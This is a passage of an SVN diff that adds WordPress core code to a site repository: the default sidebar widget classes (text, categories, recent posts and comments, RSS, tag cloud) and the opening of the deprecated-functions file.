+ * @since 2.8.0
+ */
+class WP_Widget_Text extends WP_Widget {
+
+	function WP_Widget_Text() {
+		$widget_ops = array('classname' => 'widget_text', 'description' => __('Arbitrary text or HTML'));
+		$control_ops = array('width' => 400, 'height' => 350);
+		$this->WP_Widget('text', __('Text'), $widget_ops, $control_ops);
+	}
+
+	function widget( $args, $instance ) {
+		extract($args);
+		$title = apply_filters('widget_title', empty($instance['title']) ? '' : $instance['title']);
+		$text = apply_filters( 'widget_text', $instance['text'] );
+		echo $before_widget;
+		if ( !empty( $title ) ) { echo $before_title . $title . $after_title; } ?>
+			<div class="textwidget"><?php echo $instance['filter'] ? wpautop($text) : $text; ?></div>
+		<?php
+		echo $after_widget;
+	}
+
+	function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags($new_instance['title']);
+		if ( current_user_can('unfiltered_html') )
+			$instance['text'] =  $new_instance['text'];
+		else
+			$instance['text'] = wp_filter_post_kses( $new_instance['text'] );
+		$instance['filter'] = isset($new_instance['filter']);
+		return $instance;
+	}
+
+	function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '', 'text' => '' ) );
+		$title = strip_tags($instance['title']);
+		$text = format_to_edit($instance['text']);
+?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label>
+		<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></p>
+
+		<textarea class="widefat" rows="16" cols="20" id="<?php echo $this->get_field_id('text'); ?>" name="<?php echo $this->get_field_name('text'); ?>"><?php echo $text; ?></textarea>
+
+		<p><input id="<?php echo $this->get_field_id('filter'); ?>" name="<?php echo $this->get_field_name('filter'); ?>" type="checkbox" <?php checked($instance['filter']); ?> />&nbsp;<label for="<?php echo $this->get_field_id('filter'); ?>"><?php _e('Automatically add paragraphs.'); ?></label></p>
+<?php
+	}
+}
+
+/**
+ * Categories widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Categories extends WP_Widget {
+
+	function WP_Widget_Categories() {
+		$widget_ops = array( 'classname' => 'widget_categories', 'description' => __( "A list or dropdown of categories" ) );
+		$this->WP_Widget('categories', __('Categories'), $widget_ops);
+	}
+
+	function widget( $args, $instance ) {
+		extract( $args );
+
+		$title = apply_filters('widget_title', empty( $instance['title'] ) ? __( 'Categories' ) : $instance['title']);
+		$c = $instance['count'] ? '1' : '0';
+		$h = $instance['hierarchical'] ? '1' : '0';
+		$d = $instance['dropdown'] ? '1' : '0';
+
+		echo $before_widget;
+		if ( $title )
+			echo $before_title . $title . $after_title;
+
+		$cat_args = array('orderby' => 'name', 'show_count' => $c, 'hierarchical' => $h);
+
+		if ( $d ) {
+			$cat_args['show_option_none'] = __('Select Category');
+			wp_dropdown_categories(apply_filters('widget_categories_dropdown_args', $cat_args));
+?>
+
+<script type='text/javascript'>
+/* <![CDATA[ */
+	var dropdown = document.getElementById("cat");
+	function onCatChange() {
+		if ( dropdown.options[dropdown.selectedIndex].value > 0 ) {
+			location.href = "<?php echo get_option('home'); ?>/?cat="+dropdown.options[dropdown.selectedIndex].value;
+		}
+	}
+	dropdown.onchange = onCatChange;
+/* ]]> */
+</script>
+
+<?php
+		} else {
+?>
+		<ul>
+<?php
+		$cat_args['title_li'] = '';
+		wp_list_categories(apply_filters('widget_categories_args', $cat_args));
+?>
+		</ul>
+<?php
+		}
+
+		echo $after_widget;
+	}
+
+	function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags($new_instance['title']);
+		$instance['count'] = $new_instance['count'] ? 1 : 0;
+		$instance['hierarchical'] = $new_instance['hierarchical'] ? 1 : 0;
+		$instance['dropdown'] = $new_instance['dropdown'] ? 1 : 0;
+
+		return $instance;
+	}
+
+	function form( $instance ) {
+		//Defaults
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '') );
+		$title = esc_attr( $instance['title'] );
+		$count = (bool) $instance['count'];
+		$hierarchical = (bool) $instance['hierarchical'];
+		$dropdown = (bool) $instance['dropdown'];
+?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e( 'Title:' ); ?></label>
+		<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" /></p>
+
+		<p><input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id('dropdown'); ?>" name="<?php echo $this->get_field_name('dropdown'); ?>"<?php checked( $dropdown ); ?> />
+		<label for="<?php echo $this->get_field_id('dropdown'); ?>"><?php _e( 'Show as dropdown' ); ?></label><br />
+
+		<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id('count'); ?>" name="<?php echo $this->get_field_name('count'); ?>"<?php checked( $count ); ?> />
+		<label for="<?php echo $this->get_field_id('count'); ?>"><?php _e( 'Show post counts' ); ?></label><br />
+
+		<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id('hierarchical'); ?>" name="<?php echo $this->get_field_name('hierarchical'); ?>"<?php checked( $hierarchical ); ?> />
+		<label for="<?php echo $this->get_field_id('hierarchical'); ?>"><?php _e( 'Show hierarchy' ); ?></label></p>
+<?php
+	}
+
+}
+
+/**
+ * Recent_Posts widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Recent_Posts extends WP_Widget {
+
+	function WP_Widget_Recent_Posts() {
+		$widget_ops = array('classname' => 'widget_recent_entries', 'description' => __( "The most recent posts on your blog") );
+		$this->WP_Widget('recent-posts', __('Recent Posts'), $widget_ops);
+		$this->alt_option_name = 'widget_recent_entries';
+
+		add_action( 'save_post', array(&$this, 'flush_widget_cache') );
+		add_action( 'deleted_post', array(&$this, 'flush_widget_cache') );
+		add_action( 'switch_theme', array(&$this, 'flush_widget_cache') );
+	}
+
+	function widget($args, $instance) {
+		$cache = wp_cache_get('widget_recent_posts', 'widget');
+
+		if ( !is_array($cache) )
+			$cache = array();
+
+		if ( isset($cache[$args['widget_id']]) ) {
+			echo $cache[$args['widget_id']];
+			return;
+		}
+
+		ob_start();
+		extract($args);
+
+		$title = apply_filters('widget_title', empty($instance['title']) ? __('Recent Posts') : $instance['title']);
+		if ( !$number = (int) $instance['number'] )
+			$number = 10;
+		else if ( $number < 1 )
+			$number = 1;
+		else if ( $number > 15 )
+			$number = 15;
+
+		$r = new WP_Query(array('showposts' => $number, 'nopaging' => 0, 'post_status' => 'publish', 'caller_get_posts' => 1));
+		if ($r->have_posts()) :
+?>
+		<?php echo $before_widget; ?>
+		<?php if ( $title ) echo $before_title . $title . $after_title; ?>
+		<ul>
+		<?php  while ($r->have_posts()) : $r->the_post(); ?>
+		<li><a href="<?php the_permalink() ?>" title="<?php echo esc_attr(get_the_title() ? get_the_title() : get_the_ID()); ?>"><?php if ( get_the_title() ) the_title(); else the_ID(); ?> </a></li>
+		<?php endwhile; ?>
+		</ul>
+		<?php echo $after_widget; ?>
+<?php
+			wp_reset_query();  // Restore global post data stomped by the_post().
+		endif;
+
+		$cache[$args['widget_id']] = ob_get_flush();
+		wp_cache_add('widget_recent_posts', $cache, 'widget');
+	}
+
+	function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags($new_instance['title']);
+		$instance['number'] = (int) $new_instance['number'];
+		$this->flush_widget_cache();
+
+		$alloptions = wp_cache_get( 'alloptions', 'options' );
+		if ( isset($alloptions['widget_recent_entries']) )
+			delete_option('widget_recent_entries');
+
+		return $instance;
+	}
+
+	function flush_widget_cache() {
+		wp_cache_delete('widget_recent_posts', 'widget');
+	}
+
+	function form( $instance ) {
+		$title = esc_attr($instance['title']);
+		if ( !$number = (int) $instance['number'] )
+			$number = 5;
+?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label>
+		<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" /></p>
+
+		<p><label for="<?php echo $this->get_field_id('number'); ?>"><?php _e('Number of posts to show:'); ?></label>
+		<input id="<?php echo $this->get_field_id('number'); ?>" name="<?php echo $this->get_field_name('number'); ?>" type="text" value="<?php echo $number; ?>" size="3" /><br />
+		<small><?php _e('(at most 15)'); ?></small></p>
+<?php
+	}
+}
+
+/**
+ * Recent_Comments widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Recent_Comments extends WP_Widget {
+
+	function WP_Widget_Recent_Comments() {
+		$widget_ops = array('classname' => 'widget_recent_comments', 'description' => __( 'The most recent comments' ) );
+		$this->WP_Widget('recent-comments', __('Recent Comments'), $widget_ops);
+		$this->alt_option_name = 'widget_recent_comments';
+
+		if ( is_active_widget(false, false, $this->id_base) )
+			add_action( 'wp_head', array(&$this, 'recent_comments_style') );
+
+		add_action( 'comment_post', array(&$this, 'flush_widget_cache') );
+		add_action( 'wp_set_comment_status', array(&$this, 'flush_widget_cache') );
+	}
+
+	function recent_comments_style() { ?>
+	<style type="text/css">.recentcomments a{display:inline !important;padding:0 !important;margin:0 !important;}</style>
+<?php
+	}
+
+	function flush_widget_cache() {
+		wp_cache_delete('recent_comments', 'widget');
+	}
+
+	function widget( $args, $instance ) {
+		global $wpdb, $comments, $comment;
+
+		extract($args, EXTR_SKIP);
+		$title = apply_filters('widget_title', empty($instance['title']) ? __('Recent Comments') : $instance['title']);
+		if ( !$number = (int) $instance['number'] )
+			$number = 5;
+		else if ( $number < 1 )
+			$number = 1;
+		else if ( $number > 15 )
+			$number = 15;
+
+		if ( !$comments = wp_cache_get( 'recent_comments', 'widget' ) ) {
+			$comments = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 15");
+			wp_cache_add( 'recent_comments', $comments, 'widget' );
+		}
+
+		$comments = array_slice( (array) $comments, 0, $number );
+?>
+		<?php echo $before_widget; ?>
+			<?php if ( $title ) echo $before_title . $title . $after_title; ?>
+			<ul id="recentcomments"><?php
+			if ( $comments ) : foreach ( (array) $comments as $comment) :
+			echo  '<li class="recentcomments">' . /* translators: comments widget: 1: comment author, 2: post link */ sprintf(_x('%1$s on %2$s', 'widgets'), get_comment_author_link(), '<a href="' . esc_url( get_comment_link($comment->comment_ID) ) . '">' . get_the_title($comment->comment_post_ID) . '</a>') . '</li>';
+			endforeach; endif;?></ul>
+		<?php echo $after_widget; ?>
+<?php
+	}
+
+	function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags($new_instance['title']);
+		$instance['number'] = (int) $new_instance['number'];
+		$this->flush_widget_cache();
+
+		$alloptions = wp_cache_get( 'alloptions', 'options' );
+		if ( isset($alloptions['widget_recent_comments']) )
+			delete_option('widget_recent_comments');
+
+		return $instance;
+	}
+
+	function form( $instance ) {
+		$title = isset($instance['title']) ? esc_attr($instance['title']) : '';
+		$number = isset($instance['number']) ? absint($instance['number']) : 5;
+?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label>
+		<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" /></p>
+
+		<p><label for="<?php echo $this->get_field_id('number'); ?>"><?php _e('Number of comments to show:'); ?></label>
+		<input id="<?php echo $this->get_field_id('number'); ?>" name="<?php echo $this->get_field_name('number'); ?>" type="text" value="<?php echo $number; ?>" size="3" /><br />
+		<small><?php _e('(at most 15)'); ?></small></p>
+<?php
+	}
+}
+
+/**
+ * RSS widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_RSS extends WP_Widget {
+
+	function WP_Widget_RSS() {
+		$widget_ops = array( 'description' => __('Entries from any RSS or Atom feed') );
+		$control_ops = array( 'width' => 400, 'height' => 200 );
+		$this->WP_Widget( 'rss', __('RSS'), $widget_ops, $control_ops );
+	}
+
+	function widget($args, $instance) {
+
+		if ( isset($instance['error']) && $instance['error'] )
+			return;
+
+		extract($args, EXTR_SKIP);
+
+		$url = $instance['url'];
+		while ( stristr($url, 'http') != $url )
+			$url = substr($url, 1);
+
+		if ( empty($url) )
+			return;
+
+		$rss = fetch_feed($url);
+		$title = $instance['title'];
+		$desc = '';
+		$link = '';
+
+		if ( ! is_wp_error($rss) ) {
+			$desc = esc_attr(strip_tags(@html_entity_decode($rss->get_description(), ENT_QUOTES, get_option('blog_charset'))));
+			if ( empty($title) )
+				$title = htmlentities(strip_tags($rss->get_title()));
+			$link = esc_url(strip_tags($rss->get_permalink()));
+			while ( stristr($link, 'http') != $link )
+				$link = substr($link, 1);
+		}
+
+		if ( empty($title) )
+			$title = empty($desc) ? __('Unknown Feed') : $desc;
+
+		$title = apply_filters('widget_title', $title );
+		$url = esc_url(strip_tags($url));
+		$icon = includes_url('images/rss.png');
+		if ( $title )
+			$title = "<a class='rsswidget' href='$url' title='" . esc_attr(__('Syndicate this content')) ."'><img style='background:orange;color:white;border:none;' width='14' height='14' src='$icon' alt='RSS' /></a> <a class='rsswidget' href='$link' title='$desc'>$title</a>";
+
+		echo $before_widget;
+		if ( $title )
+			echo $before_title . $title . $after_title;
+		wp_widget_rss_output( $rss, $instance );
+		echo $after_widget;
+	}
+
+	function update($new_instance, $old_instance) {
+		$testurl = $new_instance['url'] != $old_instance['url'];
+		return wp_widget_rss_process( $new_instance, $testurl );
+	}
+
+	function form($instance) {
+
+		if ( empty($instance) )
+			$instance = array( 'title' => '', 'url' => '', 'items' => 10, 'error' => false, 'show_summary' => 0, 'show_author' => 0, 'show_date' => 0 );
+		$instance['number'] = $this->number;
+
+		wp_widget_rss_form( $instance );
+	}
+}
+
+/**
+ * Display the RSS entries in a list.
+ *
+ * @since 2.5.0
+ *
+ * @param string|array|object $rss RSS url.
+ * @param array $args Widget arguments.
+ */
+function wp_widget_rss_output( $rss, $args = array() ) {
+	if ( is_string( $rss ) ) {
+		$rss = fetch_feed($rss);
+	} elseif ( is_array($rss) && isset($rss['url']) ) {
+		$args = $rss;
+		$rss = fetch_feed($rss['url']);
+	} elseif ( !is_object($rss) ) {
+		return;
+	}
+
+	if ( is_wp_error($rss) ) {
+		if ( is_admin() || current_user_can('manage_options') )
+			echo '<p>' . sprintf( __('<strong>RSS Error</strong>: %s'), $rss->get_error_message() ) . '</p>';
+
+		return;
+	}
+
+	$default_args = array( 'show_author' => 0, 'show_date' => 0, 'show_summary' => 0 );
+	$args = wp_parse_args( $args, $default_args );
+	extract( $args, EXTR_SKIP );
+
+	$items = (int) $items;
+	if ( $items < 1 || 20 < $items )
+		$items = 10;
+	$show_summary  = (int) $show_summary;
+	$show_author   = (int) $show_author;
+	$show_date     = (int) $show_date;
+
+	if ( !$rss->get_item_quantity() ) {
+		echo '<ul><li>' . __( 'An error has occurred; the feed is probably down. Try again later.' ) . '</li></ul>';
+		return;
+	}
+
+	echo '<ul>';
+	foreach ( $rss->get_items(0, $items) as $item ) {
+		$link = $item->get_link();
+		while ( stristr($link, 'http') != $link )
+			$link = substr($link, 1);
+		$link = esc_url(strip_tags($link));
+		$title = esc_attr(strip_tags($item->get_title()));
+		if ( empty($title) )
+			$title = __('Untitled');
+
+		$desc = str_replace(array("\n", "\r"), ' ', esc_attr(strip_tags(@html_entity_decode($item->get_description(), ENT_QUOTES, get_option('blog_charset')))));
+		$desc = wp_html_excerpt( $desc, 360 ) . ' [&hellip;]';
+		$desc = esc_html( $desc );
+
+		if ( $show_summary ) {
+			$summary = "<div class='rssSummary'>$desc</div>";
+		} else {
+			$summary = '';
+		}
+
+		$date = '';
+		if ( $show_date ) {
+			$date = $item->get_date();
+
+			if ( $date ) {
+				if ( $date_stamp = strtotime( $date ) )
+					$date = ' <span class="rss-date">' . date_i18n( get_option( 'date_format' ), $date_stamp ) . '</span>';
+				else
+					$date = '';
+			}
+		}
+
+		$author = '';
+		if ( $show_author ) {
+			$author = $item->get_author();
+			if ( is_object($author) ) {
+				$author = $author->get_name();
+				$author = ' <cite>' . esc_html( strip_tags( $author ) ) . '</cite>';
+			}
+		}
+
+		if ( $link == '' ) {
+			echo "<li>$title{$date}{$summary}{$author}</li>";
+		} else {
+			echo "<li><a class='rsswidget' href='$link' title='$desc'>$title</a>{$date}{$summary}{$author}</li>";
+		}
+	}
+	echo '</ul>';
+}
+
+
+
+/**
+ * Display RSS widget options form.
+ *
+ * The options for what fields are displayed for the RSS form are all booleans
+ * and are as follows: 'url', 'title', 'items', 'show_summary', 'show_author',
+ * 'show_date'.
+ *
+ * @since 2.5.0
+ *
+ * @param array|string $args Values for input fields.
+ * @param array $inputs Override default display options.
+ */
+function wp_widget_rss_form( $args, $inputs = null ) {
+
+	$default_inputs = array( 'url' => true, 'title' => true, 'items' => true, 'show_summary' => true, 'show_author' => true, 'show_date' => true );
+	$inputs = wp_parse_args( $inputs, $default_inputs );
+	extract( $args );
+	extract( $inputs, EXTR_SKIP);
+
+	$number = esc_attr( $number );
+	$title  = esc_attr( $title );
+	$url    = esc_url( $url );
+	$items  = (int) $items;
+	if ( $items < 1 || 20 < $items )
+		$items  = 10;
+	$show_summary   = (int) $show_summary;
+	$show_author    = (int) $show_author;
+	$show_date      = (int) $show_date;
+
+	if ( !empty($error) )
+		echo '<p class="widget-error"><strong>' . sprintf( __('RSS Error: %s'), $error) . '</strong></p>';
+
+	if ( $inputs['url'] ) :
+?>
+	<p><label for="rss-url-<?php echo $number; ?>"><?php _e('Enter the RSS feed URL here:'); ?></label>
+	<input class="widefat" id="rss-url-<?php echo $number; ?>" name="widget-rss[<?php echo $number; ?>][url]" type="text" value="<?php echo $url; ?>" /></p>
+<?php endif; if ( $inputs['title'] ) : ?>
+	<p><label for="rss-title-<?php echo $number; ?>"><?php _e('Give the feed a title (optional):'); ?></label>
+	<input class="widefat" id="rss-title-<?php echo $number; ?>" name="widget-rss[<?php echo $number; ?>][title]" type="text" value="<?php echo $title; ?>" /></p>
+<?php endif; if ( $inputs['items'] ) : ?>
+	<p><label for="rss-items-<?php echo $number; ?>"><?php _e('How many items would you like to display?'); ?></label>
+	<select id="rss-items-<?php echo $number; ?>" name="widget-rss[<?php echo $number; ?>][items]">
+<?php
+		for ( $i = 1; $i <= 20; ++$i )
+			echo "<option value='$i' " . ( $items == $i ? "selected='selected'" : '' ) . ">$i</option>";
+?>
+	</select></p>
+<?php endif; if ( $inputs['show_summary'] ) : ?>
+	<p><input id="rss-show-summary-<?php echo $number; ?>" name="widget-rss[<?php echo $number; ?>][show_summary]" type="checkbox" value="1" <?php if ( $show_summary ) echo 'checked="checked"'; ?>/>
+	<label for="rss-show-summary-<?php echo $number; ?>"><?php _e('Display item content?'); ?></label></p>
+<?php endif; if ( $inputs['show_author'] ) : ?>
+	<p><input id="rss-show-author-<?php echo $number; ?>" name="widget-rss[<?php echo $number; ?>][show_author]" type="checkbox" value="1" <?php if ( $show_author ) echo 'checked="checked"'; ?>/>
+	<label for="rss-show-author-<?php echo $number; ?>"><?php _e('Display item author if available?'); ?></label></p>
+<?php endif; if ( $inputs['show_date'] ) : ?>
+	<p><input id="rss-show-date-<?php echo $number; ?>" name="widget-rss[<?php echo $number; ?>][show_date]" type="checkbox" value="1" <?php if ( $show_date ) echo 'checked="checked"'; ?>/>
+	<label for="rss-show-date-<?php echo $number; ?>"><?php _e('Display item date?'); ?></label></p>
+<?php
+	endif;
+	foreach ( array_keys($default_inputs) as $input ) :
+		if ( 'hidden' === $inputs[$input] ) :
+			$id = str_replace( '_', '-', $input );
+?>
+	<input type="hidden" id="rss-<?php echo $id; ?>-<?php echo $number; ?>" name="widget-rss[<?php echo $number; ?>][<?php echo $input; ?>]" value="<?php echo $$input; ?>" />
+<?php
+		endif;
+	endforeach;
+}
+
+/**
+ * Process RSS feed widget data and optionally retrieve feed items.
+ *
+ * The feed widget can not have more than 20 items or it will reset back to the
+ * default, which is 10.
+ *
+ * The resulting array has the feed title, feed url, feed link (from channel),
+ * feed items, error (if any), and whether to show summary, author, and date.
+ * All respectively in the order of the array elements.
+ *
+ * @since 2.5.0
+ *
+ * @param array $widget_rss RSS widget feed data. Expects unescaped data.
+ * @param bool $check_feed Optional, default is true. Whether to check feed for errors.
+ * @return array
+ */
+function wp_widget_rss_process( $widget_rss, $check_feed = true ) {
+	$items = (int) $widget_rss['items'];
+	if ( $items < 1 || 20 < $items )
+		$items = 10;
+	$url           = esc_url_raw(strip_tags( $widget_rss['url'] ));
+	$title         = trim(strip_tags( $widget_rss['title'] ));
+	$show_summary  = (int) $widget_rss['show_summary'];
+	$show_author   = (int) $widget_rss['show_author'];
+	$show_date     = (int) $widget_rss['show_date'];
+
+	if ( $check_feed ) {
+		$rss = fetch_feed($url);
+		$error = false;
+		$link = '';
+		if ( is_wp_error($rss) ) {
+			$error = $rss->get_error_message();
+		} else {
+			$link = esc_url(strip_tags($rss->get_permalink()));
+			while ( stristr($link, 'http') != $link )
+				$link = substr($link, 1);
+		}
+	}
+
+	return compact( 'title', 'url', 'link', 'items', 'error', 'show_summary', 'show_author', 'show_date' );
+}
+
+/**
+ * Tag cloud widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Tag_Cloud extends WP_Widget {
+
+	function WP_Widget_Tag_Cloud() {
+		$widget_ops = array( 'description' => __( "Your most used tags in cloud format") );
+		$this->WP_Widget('tag_cloud', __('Tag Cloud'), $widget_ops);
+	}
+
+	function widget( $args, $instance ) {
+		extract($args);
+		$title = apply_filters('widget_title', empty($instance['title']) ? __('Tags') : $instance['title']);
+
+		echo $before_widget;
+		if ( $title )
+			echo $before_title . $title . $after_title;
+		echo '<div>';
+		wp_tag_cloud(apply_filters('widget_tag_cloud_args', array()));
+		echo "</div>\n";
+		echo $after_widget;
+	}
+
+	function update( $new_instance, $old_instance ) {
+		$instance['title'] = strip_tags(stripslashes($new_instance['title']));
+		return $instance;
+	}
+
+	function form( $instance ) {
+?>
+	<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:') ?></label>
+	<input type="text" class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" value="<?php echo esc_attr( $instance['title'] ); ?>" /></p>
+<?php
+	}
+}
+
+/**
+ * Register all of the default WordPress widgets on startup.
+ *
+ * Calls 'widgets_init' action after all of the WordPress widgets have been
+ * registered.
+ *
+ * @since 2.2.0
+ */
+function wp_widgets_init() {
+	if ( !is_blog_installed() )
+		return;
+
+	register_widget('WP_Widget_Pages');
+
+	register_widget('WP_Widget_Calendar');
+
+	register_widget('WP_Widget_Archives');
+
+	register_widget('WP_Widget_Links');
+
+	register_widget('WP_Widget_Meta');
+
+	register_widget('WP_Widget_Search');
+
+	register_widget('WP_Widget_Text');
+
+	register_widget('WP_Widget_Categories');
+
+	register_widget('WP_Widget_Recent_Posts');
+
+	register_widget('WP_Widget_Recent_Comments');
+
+	register_widget('WP_Widget_RSS');
+
+	register_widget('WP_Widget_Tag_Cloud');
+
+	do_action('widgets_init');
+}
+
+add_action('init', 'wp_widgets_init', 1);
Index: /trunk/www.guidonia.net/wp/wp-includes/deprecated.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/deprecated.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/deprecated.php	(revision 44)
@@ -0,0 +1,1693 @@
+<?php
+/**
+ * Deprecated functions from past WordPress versions. You shouldn't use these
+ * globals and functions and look for the alternatives instead. The functions
+ * and globals will be removed in a later version.
+ *
+ * @package WordPress
+ * @subpackage Deprecated
+ */
+
+/*
+ * Deprecated global variables.
+ */
+
+/**
+ * The name of the Posts table
+ * @global string $tableposts
+ * @deprecated Use $wpdb->posts
+ */
+$tableposts = $wpdb->posts;
+
+/**
+ * The name of the Users table
+ * @global string $tableusers
+ * @deprecated Use $wpdb->users
+ */
+$tableusers = $wpdb->users;
+
+/**
+ * The name of the Categories table
+ * @global string $tablecategories
+ * @deprecated Use $wpdb->categories
+ */
+$tablecategories = $wpdb->categories;
+
+/**
+ * The name of the post to category table
+ * @global string $tablepost2cat
+ * @deprecated Use $wpdb->post2cat;
+ */
+$tablepost2cat = $wpdb->post2cat;
+
+/**
+ * The name of the comments table
+ * @global string $tablecomments
+ * @deprecated Use $wpdb->comments;
+ */
+$tablecomments = $wpdb->comments;
+
+/**
+ * The name of the links table
+ * @global string $tablelinks
+ * @deprecated Use $wpdb->links;
+ */
+$tablelinks = $wpdb->links;
+
+/**
+ * @global string $tablelinkcategories
+ * @deprecated Not used anymore;
+ */
+$tablelinkcategories = 'linkcategories_is_gone';
+
+/**
+ * The name of the options table
+ * @global string $tableoptions
+ * @deprecated Use $wpdb->options;
+ */
+$tableoptions = $wpdb->options;
+
+/**
+ * The name of the postmeta table
+ * @global string $tablepostmeta
+ * @deprecated Use $wpdb->postmeta;
+ */
+$tablepostmeta = $wpdb->postmeta;
+
+/*
+ * Deprecated functions come here to die.
+ */
+
+/**
+ * Entire Post data.
+ *
+ * @since 0.71
+ * @deprecated Use get_post()
+ * @see get_post()
+ *
+ * @param int $postid
+ * @return array
+ */
+function get_postdata($postid) {
+	_deprecated_function(__FUNCTION__, '0.0', 'get_post()');
+
+	$post = &get_post($postid);
+
+	$postdata = array (
+		'ID' => $post->ID,
+		'Author_ID' => $post->post_author,
+		'Date' => $post->post_date,
+		'Content' => $post->post_content,
+		'Excerpt' => $post->post_excerpt,
+		'Title' => $post->post_title,
+		'Category' => $post->post_category,
+		'post_status' => $post->post_status,
+		'comment_status' => $post->comment_status,
+		'ping_status' => $post->ping_status,
+		'post_password' => $post->post_password,
+		'to_ping' => $post->to_ping,
+		'pinged' => $post->pinged,
+		'post_type' => $post->post_type,
+		'post_name' => $post->post_name
+	);
+
+	return $postdata;
+}
+
+/**
+ * Sets up the WordPress Loop.
+ *
+ * @since 1.0.1
+ * @deprecated Since 1.5 - {@link http://codex.wordpress.org/The_Loop Use new WordPress Loop}
+ */
+function start_wp() {
+	global $wp_query, $post;
+
+	_deprecated_function(__FUNCTION__, '1.5', __('new WordPress Loop') );
+
+	// Since the old style loop is being used, advance the query iterator here.
+	$wp_query->next_post();
+
+	setup_postdata($post);
+}
+
+/**
+ * Return or Print Category ID.
+ *
+ * @since 0.71
+ * @deprecated use get_the_category()
+ * @see get_the_category()
+ *
+ * @param bool $echo
+ * @return null|int
+ */
+function the_category_ID($echo = true) {
+	_deprecated_function(__FUNCTION__, '0.0', 'get_the_category()');
+
+	// Grab the first cat in the list.
+	$categories = get_the_category();
+	$cat = $categories[0]->term_id;
+
+	if ( $echo )
+		echo $cat;
+
+	return $cat;
+}
+
+/**
+ * Print category with optional text before and after.
+ *
+ * @since 0.71
+ * @deprecated use get_the_category_by_ID()
+ * @see get_the_category_by_ID()
+ *
+ * @param string $before
+ * @param string $after
+ */
+function the_category_head($before='', $after='') {
+	global $currentcat, $previouscat;
+
+	_deprecated_function(__FUNCTION__, '0.0', 'get_the_category_by_ID()');
+
+	// Grab the first cat in the list.
+	$categories = get_the_category();
+	$currentcat = $categories[0]->category_id;
+	if ( $currentcat != $previouscat ) {
+		echo $before;
+		echo get_the_category_by_ID($currentcat);
+		echo $after;
+		$previouscat = $currentcat;
+	}
+}
+
+/**
+ * Prints link to the previous post.
+ *
+ * @since 1.5
+ * @deprecated Use previous_post_link()
+ * @see previous_post_link()
+ *
+ * @param string $format
+ * @param string $previous
+ * @param string $title
+ * @param string $in_same_cat
+ * @param int $limitprev
+ * @param string $excluded_categories
+ */
+function previous_post($format='%', $previous='previous post: ', $title='yes', $in_same_cat='no', $limitprev=1, $excluded_categories='') {
+
+	_deprecated_function(__FUNCTION__, '0.0', 'previous_post_link()');
+
+	if ( empty($in_same_cat) || 'no' == $in_same_cat )
+		$in_same_cat = false;
+	else
+		$in_same_cat = true;
+
+	$post = get_previous_post($in_same_cat, $excluded_categories);
+
+	if ( !$post )
+		return;
+
+	$string = '<a href="'.get_permalink($post->ID).'">'.$previous;
+	if ( 'yes' == $title )
+		$string .= apply_filters('the_title', $post->post_title, $post);
+	$string .= '</a>';
+	$format = str_replace('%', $string, $format);
+	echo $format;
+}
+
+/**
+ * Prints link to the next post.
+ *
+ * @since 0.71
+ * @deprecated Use next_post_link()
+ * @see next_post_link()
+ *
+ * @param string $format
+ * @param string $previous
+ * @param string $title
+ * @param string $in_same_cat
+ * @param int $limitprev
+ * @param string $excluded_categories
+ */
+function next_post($format='%', $next='next post: ', $title='yes', $in_same_cat='no', $limitnext=1, $excluded_categories='') {
+	_deprecated_function(__FUNCTION__, '0.0', 'next_post_link()');
+
+	if ( empty($in_same_cat) || 'no' == $in_same_cat )
+		$in_same_cat = false;
+	else
+		$in_same_cat = true;
+
+	$post = get_next_post($in_same_cat, $excluded_categories);
+
+	if ( !$post	)
+		return;
+
+	$string = '<a href="'.get_permalink($post->ID).'">'.$next;
+	if ( 'yes' == $title )
+		$string .= apply_filters('the_title', $post->post_title, $nextpost);
+	$string .= '</a>';
+	$format = str_replace('%', $string, $format);
+	echo $format;
+}
+
+/**
+ * Whether user can create a post.
+ *
+ * @since 1.5
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $blog_id Not Used
+ * @param int $category_id Not Used
+ * @return bool
+ */
+function user_can_create_post($user_id, $blog_id = 1, $category_id = 'None') {
+	_deprecated_function(__FUNCTION__, '0.0', 'current_user_can()');
+
+	$author_data = get_userdata($user_id);
+	return ($author_data->user_level > 1);
+}
+
+/**
+ * Whether user can create a post.
+ *
+ * @since 1.5
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $blog_id Not Used
+ * @param int $category_id Not Used
+ * @return bool
+ */
